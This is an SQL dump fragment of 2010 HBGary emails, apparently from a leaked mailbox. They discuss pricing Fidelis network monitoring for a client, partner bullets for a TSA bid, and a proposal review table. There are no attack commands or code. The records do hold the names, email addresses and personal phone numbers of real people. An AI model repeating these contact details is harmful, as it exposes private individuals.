- Release Date: 08/14/10\r\n04:48:00\r\n\r\n',8832,'aaron_hbgary_com/8832.html'),(10334,'2010-08-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008057.M146271P14101Q5189.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,','Re: Network monitoring at QNA','My 2 cents.  Get one box in.  If it\'s effective they will come up with\r\nthe money for the rest or figure out how to span or reroute traffic.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 15, 2010, at 10:54 AM, Bob Slapnik  wrote:\r\n\r\n> Greg, Penny and Mike,\r\n>\r\n> I need to submit a proposal for managed services to QNA by Monday, so I need\r\n> the info regarding Fidelis by then.  I suggest we propose ONE Fidelis box\r\n> for ONE QNA location, especially if we get it on a 3 or 6 month trial.\r\n>\r\n> I agree that Fidelis is the right technical solution, but it may not be the\r\n> right financial solution.  Their boxes are expensive and QNA has 6-7 small\r\n> locations.  At QNA the total cost of Fidelis will exceed the total cost of\r\n> AD software.\r\n>\r\n> Bob\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Greg Hoglund [mailto:greg@hbgary.com]\r\n> Sent: Saturday, August 14, 2010 9:27 PM\r\n> To: Bob Slapnik\r\n> Cc: Penny Leavy-Hoglund; Michael G. Spohn; Aaron Barr\r\n> Subject: Re: Network monitoring at QNA\r\n>\r\n> Fidelis is the correct solution.  Penny is working with Mary Sullivan\r\n> re fidelis boxen.  I think we are green light.  Get penny into the\r\n> conversation and let\'s finalize the solution please.\r\n>\r\n> Greg\r\n>\r\n> On 8/13/10, Bob Slapnik  wrote:\r\n>> Mike, Greg, Penny, and Aaron,\r\n>>\r\n>>\r\n>>\r\n>> QNA wants us to expand our managed services proposal to include monitoring\r\n>> the network.  Including the network would allow us to charge more and it\r\n>> will make our host monitoring better if we also have network visibility.\r\n>>\r\n>>\r\n>>\r\n>> A complication is that QNA has 6-7 locations.  We\'ve been talking about\r\n>> Fidelis but it is my understanding that Fidelis requires a box at each\r\n>> location.\r\n>>\r\n>>\r\n>>\r\n>> Given the cost of Fidelis this may not make sense.  Is there a cheap or\r\n>> freeware alternative?  I want to get QNA a proposal by COB Monday.\r\n>>\r\n>>\r\n>>\r\n>> Bob\r\n>>\r\n>>\r\n>>\r\n>>\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.851 / Virus Database: 271.1.1/3071 - Release Date: 08/14/10\r\n> 04:48:00\r\n>\r\n',14569,'aaron_hbgary_com/14569.html'),(10335,'2010-08-15','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008057.M363393P14101Q5190.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','RE: Network monitoring at QNA','I agree with Aaron to get one box in.  Hopefully Fidelis will work with us.\r\n\r\nI told Matt Anglin that I\'d get him a new proposal by COB Monday.  I may\r\nhave to tell him I need more time to get the Fidelis info.\r\n\r\nBTW, he said the connections there are either DS3 or T1.  Fidelis needs that\r\ninfo to provide the correct box.\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Sunday, August 15, 2010 10:56 AM\r\nTo: Bob Slapnik\r\nCc: Greg Hoglund; Penny Leavy-Hoglund; Michael G. Spohn\r\nSubject: Re: Network monitoring at QNA\r\n\r\nMy 2 cents.  Get one box in.  If it\'s effective they will come up with\r\nthe money for the rest or figure out how to span or reroute traffic.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 15, 2010, at 10:54 AM, Bob Slapnik  wrote:\r\n\r\n> Greg, Penny and Mike,\r\n>\r\n> I need to submit a proposal for managed services to QNA by Monday, so I\r\nneed\r\n> the info regarding Fidelis by then.  I suggest we propose ONE Fidelis box\r\n> for ONE QNA location, especially if we get it on a 3 or 6 month trial.\r\n>\r\n> I agree that Fidelis is the right technical solution, but it may not be\r\nthe\r\n> right financial solution.  Their boxes are expensive and QNA has 6-7 small\r\n> locations.  At QNA the total cost of Fidelis will exceed the total cost of\r\n> AD software.\r\n>\r\n> Bob\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Greg Hoglund [mailto:greg@hbgary.com]\r\n> Sent: Saturday, August 14, 2010 9:27 PM\r\n> To: Bob Slapnik\r\n> Cc: Penny Leavy-Hoglund; Michael G. Spohn; Aaron Barr\r\n> Subject: Re: Network monitoring at QNA\r\n>\r\n> Fidelis is the correct solution.  Penny is working with Mary Sullivan\r\n> re fidelis boxen.  I think we are green light.  Get penny into the\r\n> conversation and let\'s finalize the solution please.\r\n>\r\n> Greg\r\n>\r\n> On 8/13/10, Bob Slapnik  wrote:\r\n>> Mike, Greg, Penny, and Aaron,\r\n>>\r\n>>\r\n>>\r\n>> QNA wants us to expand our managed services proposal to include\r\nmonitoring\r\n>> the network.  Including the network would allow us to charge more and it\r\n>> will make our host monitoring better if we also have network visibility.\r\n>>\r\n>>\r\n>>\r\n>> A complication is that QNA has 6-7 locations.  We\'ve been talking about\r\n>> Fidelis but it is my understanding that Fidelis requires a box at each\r\n>> location.\r\n>>\r\n>>\r\n>>\r\n>> Given the cost of Fidelis this may not make sense.  Is there a cheap or\r\n>> freeware alternative?  I want to get QNA a proposal by COB Monday.\r\n>>\r\n>>\r\n>>\r\n>> Bob\r\n>>\r\n>>\r\n>>\r\n>>\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.851 / Virus Database: 271.1.1/3071 - Release Date: 08/14/10\r\n> 04:48:00\r\n>\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.851 / Virus Database: 271.1.1/3071 - Release Date: 08/15/10\r\n02:35:00\r\n\r\n',5650,'aaron_hbgary_com/5650.html'),(10336,'2010-08-15','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008057.M616667P14101Q5191.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Technical Services','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron-\r\n\r\n&nbsp;\r\n\r\nWhile you are kid-sitting, would you have time to write/edit\r\nsome bullets for this table?&nbsp; Bill drafted the &#8220;Specialties&#8221; bullets, but I&#8217;m trying\r\nto get some &#8220;Value&#8221; bullets.&nbsp; You have similar words in your new writeup, but\r\ncould you flush them out by ccompany?&nbsp; \r\n\r\n&nbsp;\r\n\r\nThanks!\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\n&#8220;In addition to our formal teaming partners to meet the\r\nneeds of the TSA ITSSS program, we have deep access to other IA companies that\r\nDMI has strategic relationships with.\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n   \r\n   Strategic Partner\r\n   \r\n   \r\n   Specialties\r\n   \r\n   \r\n   Value to TSA\r\n   \r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n   \r\n   \r\n   \r\n  \r\n   \r\n  \r\n   \r\n   \r\n  \r\n  \r\n  \r\n  &middot;&nbsp;&nbsp; Detect malicious code by looking at software behavior,\r\n  not signatures.\r\n  &middot;&nbsp;&nbsp; Automated malware analysis and reporting.\r\n  Live memory acquisition and diagnostics.\r\n  \r\n  \r\n  &middot;&nbsp;&nbsp; &nbsp;\r\n  \r\n \r\n \r\n  \r\n  \r\n  \r\n  \r\n  &middot;&nbsp;&nbsp; Integrates multiple cyber data sources to present a\r\n  comprehensive view of a cyber targeting event. \r\n  &middot;&nbsp;&nbsp; Data\r\n  Management, Integration, and Geo-Temporal Analysis of cyber events.\r\n  &middot;&nbsp;&nbsp; Creates\r\n  threat maps using malware, network, command and control, and social data.\r\n  &nbsp;\r\n  \r\n  \r\n  &middot;&nbsp;&nbsp; &nbsp;\r\n  \r\n \r\n \r\n  \r\n  \r\n  \r\n  \r\n  &middot;&nbsp;&nbsp; Real-time\r\n  session-level visibility through Deep Session Inspection.\r\n  &middot;&nbsp;&nbsp; Real-time\r\n  visualization of network activity by mapping information flow.\r\n  &middot;&nbsp;&nbsp; Comprehensive\r\n  visibility to content and applications on all ports at gigabit speeds.\r\n  &middot;&nbsp;&nbsp; Automated\r\n  incident response.\r\n  &middot;&nbsp;&nbsp; Intelligent\r\n  network forensics, which decreases forensics program costs.\r\n  &nbsp;\r\n  \r\n  \r\n  &middot;&nbsp;&nbsp; &nbsp;\r\n  \r\n \r\n \r\n  \r\n  \r\n  \r\n  \r\n  &middot;&nbsp;&nbsp; Use\r\n  real-world attack techniques to identify and prove the critical\r\n  vulnerabilities that put systems and data at risk.\r\n  &middot;&nbsp;&nbsp; Fully automated pen tests that employ GPS-like adaptive\r\n  intelligence to dynamically identify new attack paths as infrastructure\r\n  changes.\r\n  &middot;&nbsp;&nbsp; Enables security testers to pivot across different IT\r\n  layers to trace complex paths of exploitable vulnerabilities that reveal\r\n  sensitive backend resources.\r\n  \r\n  \r\n  &middot;&nbsp;&nbsp;\r\n  &nbsp;\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nVP\r\n\r\nDigital Management, Inc.\r\n\r\n301-346-6749 cell\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Sunday, August 15, 2010 7:53 AM\r\nTo: William Luti\r\nCc: John Fanguy\r\nSubject: Technical Services\r\n\r\n&nbsp;\r\n\r\nBill,\r\n\r\n&nbsp;\r\n\r\nForgot to include you on distro.&nbsp; Given the focus John\r\ngave me yesterday I think this is starting to look a lot better.&nbsp; Definatly\r\nmore to go but getting there.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9428,'aaron_hbgary_com/9428.html'),(10337,'2010-08-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008057.M889565P14101Q5192.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: Technical Services','I&#39;ll give it a shot.  I&#39;ll have am opportunity in a little bit. :).AaronSent from my iPhoneOn Aug 15, 2010, at 12:02 PM, John Fanguy &lt;jfanguy@digitalmanagement.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron-\r\n\r\n \r\n\r\nWhile you are kid-sitting, would you have time to write/edit\r\nsome bullets for this table?  Bill drafted the “Specialties” bullets, but I’m trying\r\nto get some “Value” bullets.  You have similar words in your new writeup, but\r\ncould you flush them out by ccompany?  \r\n\r\n \r\n\r\nThanks!\r\n\r\n-John\r\n\r\n \r\n\r\n“In addition to our formal teaming partners to meet the\r\nneeds of the TSA ITSSS program, we have deep access to other IA companies that\r\nDMI has strategic relationships with.\r\n\r\n \r\n\r\n\r\n \r\n  \r\n   \r\n   Strategic Partner\r\n   \r\n   \r\n   Specialties\r\n   \r\n   \r\n   Value to TSA\r\n   \r\n  \r\n \r\n \r\n  \r\n  \r\n',13643,'aaron_hbgary_com/13643.html'),(10338,'2010-08-15','simone.hasson@l-3com.com','/aaron@hbgary.com/new/1297008058.M369291P14101Q5194.eml','aaron@hbgary.com','HBGARY Capabilities brief to L-3','\r\n\r\n\r\n\r\n\r\nHBGARY Capabilities brief to L-3\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, August 31, 2010 1:00 PM-2:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 2720 Technology Drive Annapolis Junction, MD 20701\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n',12465,'aaron_hbgary_com/12465.html'),(10339,'2010-08-15','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008058.M88501P14101Q5193.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','RE: Network monitoring at QNA','Guys, \r\n\r\nI don\'t think I\'ll have the cost by Monday but I can try.  It\'s a three year\r\ncost, divided by 36 months with an upfront fee for machine.  They give\r\nresellers a 37 point discounts, we\'ll get more.  \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Sunday, August 15, 2010 7:56 AM\r\nTo: Bob Slapnik\r\nCc: Greg Hoglund; Penny Leavy-Hoglund; Michael G. Spohn\r\nSubject: Re: Network monitoring at QNA\r\n\r\nMy 2 cents.  Get one box in.  If it\'s effective they will come up with\r\nthe money for the rest or figure out how to span or reroute traffic.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 15, 2010, at 10:54 AM, Bob Slapnik  wrote:\r\n\r\n> Greg, Penny and Mike,\r\n>\r\n> I need to submit a proposal for managed services to QNA by Monday, so I\r\nneed\r\n> the info regarding Fidelis by then.  I suggest we propose ONE Fidelis box\r\n> for ONE QNA location, especially if we get it on a 3 or 6 month trial.\r\n>\r\n> I agree that Fidelis is the right technical solution, but it may not be\r\nthe\r\n> right financial solution.  Their boxes are expensive and QNA has 6-7 small\r\n> locations.  At QNA the total cost of Fidelis will exceed the total cost of\r\n> AD software.\r\n>\r\n> Bob\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Greg Hoglund [mailto:greg@hbgary.com]\r\n> Sent: Saturday, August 14, 2010 9:27 PM\r\n> To: Bob Slapnik\r\n> Cc: Penny Leavy-Hoglund; Michael G. Spohn; Aaron Barr\r\n> Subject: Re: Network monitoring at QNA\r\n>\r\n> Fidelis is the correct solution.  Penny is working with Mary Sullivan\r\n> re fidelis boxen.  I think we are green light.  Get penny into the\r\n> conversation and let\'s finalize the solution please.\r\n>\r\n> Greg\r\n>\r\n> On 8/13/10, Bob Slapnik  wrote:\r\n>> Mike, Greg, Penny, and Aaron,\r\n>>\r\n>>\r\n>>\r\n>> QNA wants us to expand our managed services proposal to include\r\nmonitoring\r\n>> the network.  Including the network would allow us to charge more and it\r\n>> will make our host monitoring better if we also have network visibility.\r\n>>\r\n>>\r\n>>\r\n>> A complication is that QNA has 6-7 locations.  We\'ve been talking about\r\n>> Fidelis but it is my understanding that Fidelis requires a box at each\r\n>> location.\r\n>>\r\n>>\r\n>>\r\n>> Given the cost of Fidelis this may not make sense.  Is there a cheap or\r\n>> freeware alternative?  I want to get QNA a proposal by COB Monday.\r\n>>\r\n>>\r\n>>\r\n>> Bob\r\n>>\r\n>>\r\n>>\r\n>>\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.851 / Virus Database: 271.1.1/3071 - Release Date: 08/14/10\r\n> 04:48:00\r\n>\r\n\r\n',2212,'aaron_hbgary_com/2212.html'),(10340,'2010-08-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008061.M468080P14101Q5196.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Promo','Cool\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 15, 2010, at 5:25 PM, Ted Vera  wrote:\r\n\r\n> What do you think?\r\n>\r\n>\r\n>\r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n> \r\n',9250,'aaron_hbgary_com/9250.html'),(10341,'2010-08-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008061.M70660P14101Q5195.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Promo','What do you think?\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',4573,'aaron_hbgary_com/4573.html'),(10342,'2010-08-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008061.M745218P14101Q5197.eml','mark@hbgary.com,mark@hbgary.com','website','I tried to update some of the hbgaryfederal pages, but it\'s still\r\ntruncating (the Product pages for example).  I deleted a couple of\r\npages, wanting to clean things up before we \"go live\" on Tuesday.\r\n\r\nAaron, maybe you could repost some of your blogs / interviews (once\r\nMark has an acct set up for you).\r\n\r\nTed\r\n',1264,'aaron_hbgary_com/1264.html'),(10343,'2010-08-15','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008062.M135533P14101Q5198.eml','aaron@hbgary.com,\"Bruce Friedman\" <bruce.friedman@ngc.com>,\"John Fanguy\" <jfanguy@digitalmanagement.com>,jwootton@palantir.com,\"Kirby Kintner\" <kkintner@digitalmanagement.com>,\"Martin Fertal\" <Martin.Fertal@TASC.com>,msteckman@palantir.com,patricia.krajeski@tasc.com,\"Paul Meaney\" <paul.meaney@ngc.com>,paul.kuttner@tasc.com,rob.wilson@telos.com,robert.sanderson@telos.com,sondra.spalding@tasc.com,ted@hbgary.com,tom.leahy@telos.com,tom.ryder@telos.com,\"William E. Miller\" <wmiller@digitalmanagement.com>,\"William Luti\" <wluti@digitalmanagement.com>','Pink Team Monday Noon - 3pm','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOur Pink Team is confirmed for tomorrow, Monday at noon at\r\nDMI, 6701 Democracy Blvd, Suite 500, Bethesda, MD 20817.  \r\n\r\n&nbsp;\r\n\r\nOne content area broadly non-compliant is our Experience,\r\nTools,  Resource Pool, and Other Resources.\r\n\r\n&nbsp;\r\n\r\nBelow is the table we need completed by each team before end\r\nof Pink Team tomorrow, so please send this to whomever you need to in your\r\ncompanies early Monday morning to ensure we are at least compliant by end of\r\nPink Team.  Be sure to use their Labor Categories (which I&#8217;ve listed\r\nbelow the table), in quoting number of resources. \r\n\r\n&nbsp;\r\n\r\nWe need each company to complete every &#8220;Task Area&#8221;\r\nto ensure we BLOW AWAY any other responders in experience, tools,\r\nbench, and other resources!\r\n\r\n&nbsp;\r\n\r\nIf you have any questions, contact me or Kirby (email is\r\nbest for us).\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\n301-346-6749\r\ncell\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  Task Area\r\n  \r\n  \r\n  Experiences\r\n  \r\n  \r\n  Tools Used/Recommended for this area that we are experienced\r\n  with.\r\n  \r\n  \r\n  Resources at your company who currently do this type of work\r\n  \r\n  \r\n  Other Resources\r\n  \r\n \r\n \r\n  \r\n  Certification\r\n  and Accreditation Support\r\n  \r\n  \r\n  ü&nbsp; At GSA, Team DMI performs over xx C&amp;A packages\r\n  on average every year, averaging xxx days per C&amp;A for a medium system.  Since\r\n  2002, Telos has been a resource for GSA&#8217;s Office of Governmentwide\r\n  Policy (OGP), the Office of General Counsel (OGC), and the Federal\r\n  Acquisition Service (FAS) in helping them improve their IT security. Telos\'\r\n  security consultants are familiar with GSA Security Procedural Guides\r\n  including the nine-step C&amp;A process specified in CIO-IT Security-06-30. \r\n  They are also fully experienced with the Automated Security Self-Evaluation\r\n  and Remedial Tracking (ASSERT) tool used by GSA for POA&amp;M preparation and\r\n  management.  This is offered as a GSA service to any government agency.\r\n  ü&nbsp; USAITA&#8217;s Pentagon operations, where Telos designed the security\r\n  infrastructure.\r\n  ü&nbsp; Army CECOM Software Engineering Center (SEC) with certification and accreditation\r\n  (C&amp;A) services for ### systems per year.\r\n  ü&nbsp; USAF Application Software Assurance Center of Excellence\r\n  (ASACoE), for which Telos developed\r\n  the applications assessment processes and methods. ASACoE successfully\r\n  executed over 180 application assessments in its first eighteen months of\r\n  operation Navy SPAWAR Systems Center, which reduced the timeframe of the Navy\r\n  Medical C&amp;A effort from 3 years to 2 with nearly all enterprise sites receiving\r\n  the required authority to operate (ATO).\r\n  \r\n  \r\n  1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  Xacta IA Manager offers IT risk assessment, security authorization, and C&amp;A\r\n  automation in accordance with DIACAP, NIST 800-37, DCID 6/3, CNSS 1253, ISO\r\n  27001/2, COBIT, HIPAA, PCI and other IT governance and IT security evaluation\r\n  methodologies &amp; criteria. \r\n  2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  Xacta IA Manager: Continuous Assessment provides operational relevance and\r\n  features automated test execution and scheduling for continuous monitoring of\r\n  security controls. It offers validated FDCC Scanner SCAP capabilities to\r\n  ensure approved configuration management profiles are in place and all\r\n  patches are up to date.\r\n  \r\n  \r\n  ###\r\n  C&amp;A Analysts\r\n  ###\r\n  C&amp;A Senior Analysts\r\n  \r\n  \r\n  &#8226; DIACAP\r\n  instruction for the Department of Defense \r\n  &#8226; NIST\r\n  instruction, including Risk Management Framework instruction in support of\r\n  initial public draft of NIST Special Publication 800-37, Revision 1, in\r\n  support of executive agencies of the federal government and their contractors\r\n  \r\n  &#8226; CNSSI\r\n  Instruction on 1253 and C&amp;A related documentation for the Intelligence\r\n  Community \r\n  &#8226; Xacta IA Manager\r\n  instruction for users and administrators of Telos&#8217; secure solution \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Federal\r\n  Information Security Management Support\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Information\r\n  Technology Training and Awareness Support\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Information\r\n  Systems Security Officer Support\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  FISMA\r\n  Analysis Support\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Primary\r\n  Certifier Support\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Training\r\n  Support\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  IT\r\n  Security Architecture Support\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Policy\r\n  Analyst Support\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Security\r\n  Architecture Support\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Information\r\n  Security (INFOSEC)\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  IT\r\n  Contract Management Support\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Digital\r\n  Forensics Support\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  E-Discovery\r\n  Support\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Security\r\n  Operations Management Support\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Incident\r\n  Response Support\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Threat\r\n  and Vulnerability Support\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Cyber\r\n  Intelligence Support\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  COMSEC\r\n  Engineering Support\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Technical\r\n  Writing Support\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Business\r\n  Analysis Support\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Cyber\r\n  Critical Infrastructure and Planning Support\r\n  \r\n  \r\n  ü\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Total\r\n  Cybersecurity Professionals\r\n  \r\n  \r\n  94\r\n  \r\n  \r\n  2400\r\n  \r\n  \r\n  700\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  1.1 Certification and\r\n  Accreditation Senior Analyst\r\n  \r\n \r\n \r\n  \r\n  1. 2 Federal Information\r\n  Security Management Act (FISMA) Senior Analyst\r\n  \r\n \r\n \r\n  \r\n  1.3 Senior Information\r\n  Technology Training and Awareness Analyst\r\n  \r\n \r\n \r\n  \r\n  1.4 Information Systems Security\r\n  Officer (ISSO)\r\n  \r\n \r\n \r\n  \r\n  1.5 FISMA Analysts\r\n  \r\n \r\n \r\n  \r\n  1.6 Primary Certifiers\r\n  \r\n \r\n \r\n  \r\n  1.7 Training Analyst\r\n  \r\n \r\n \r\n  \r\n  1.8 Senior IT Security\r\n  Architecture Analyst\r\n  \r\n \r\n \r\n  \r\n  1.9 Senior Policy Analyst\r\n  \r\n \r\n \r\n  \r\n  1.10 Policy Analyst (PA)\r\n  \r\n \r\n \r\n  \r\n  1.11 IT Security Architecture\r\n  (SA) Analyst\r\n  \r\n \r\n \r\n  \r\n  1.12 Information Security\r\n  (INFOSEC) Analyst\r\n  \r\n \r\n \r\n  \r\n  1.13 IT Contract Procurement\r\n  (CP) Analyst\r\n  \r\n \r\n \r\n  \r\n  1.14 Digital Forensics Manager\r\n  \r\n \r\n \r\n  \r\n  1.15 Senior E-Discovery Analyst\r\n  \r\n \r\n \r\n  \r\n  1.16 Security Operations Center\r\n  (SOC) Manager\r\n  \r\n \r\n \r\n  \r\n  1.17 Incident Response Manager\r\n  \r\n \r\n \r\n  \r\n  1.18 Threat and Vulnerability\r\n  Manager\r\n  \r\n \r\n \r\n  \r\n  1.19 Cyber Intelligence Manger\r\n  \r\n \r\n \r\n  \r\n  1.20 Communication Security\r\n  (COMSEC) Manager\r\n  \r\n \r\n \r\n  \r\n  1.21 Senior SOC Analyst\r\n  \r\n \r\n \r\n  \r\n  122 Senior Incident Responder\r\n  \r\n \r\n \r\n  \r\n  1.23 Senior Cyber Intelligence\r\n  Analyst\r\n  \r\n \r\n \r\n  \r\n  1.24 Threat and Vulnerability\r\n  Analyst\r\n  \r\n \r\n \r\n  \r\n  1.25 Digital Forensics Analyst\r\n  \r\n \r\n \r\n  \r\n  1.26 E-Discovery Analyst\r\n  \r\n \r\n \r\n  \r\n  1.27 Secure Communications\r\n  \r\n \r\n \r\n  \r\n  1.28 Technical Writer\r\n  \r\n \r\n \r\n  \r\n  1.29 Business Analyst\r\n  \r\n \r\n \r\n  \r\n  1.30 Senior Cyber Critical\r\n  Infrastructure and Planning Analyst\r\n  \r\n \r\n \r\n  \r\n  1.31 Program Analyst, Critical\r\n  Infrastructure Sector Planning\r\n  \r\n 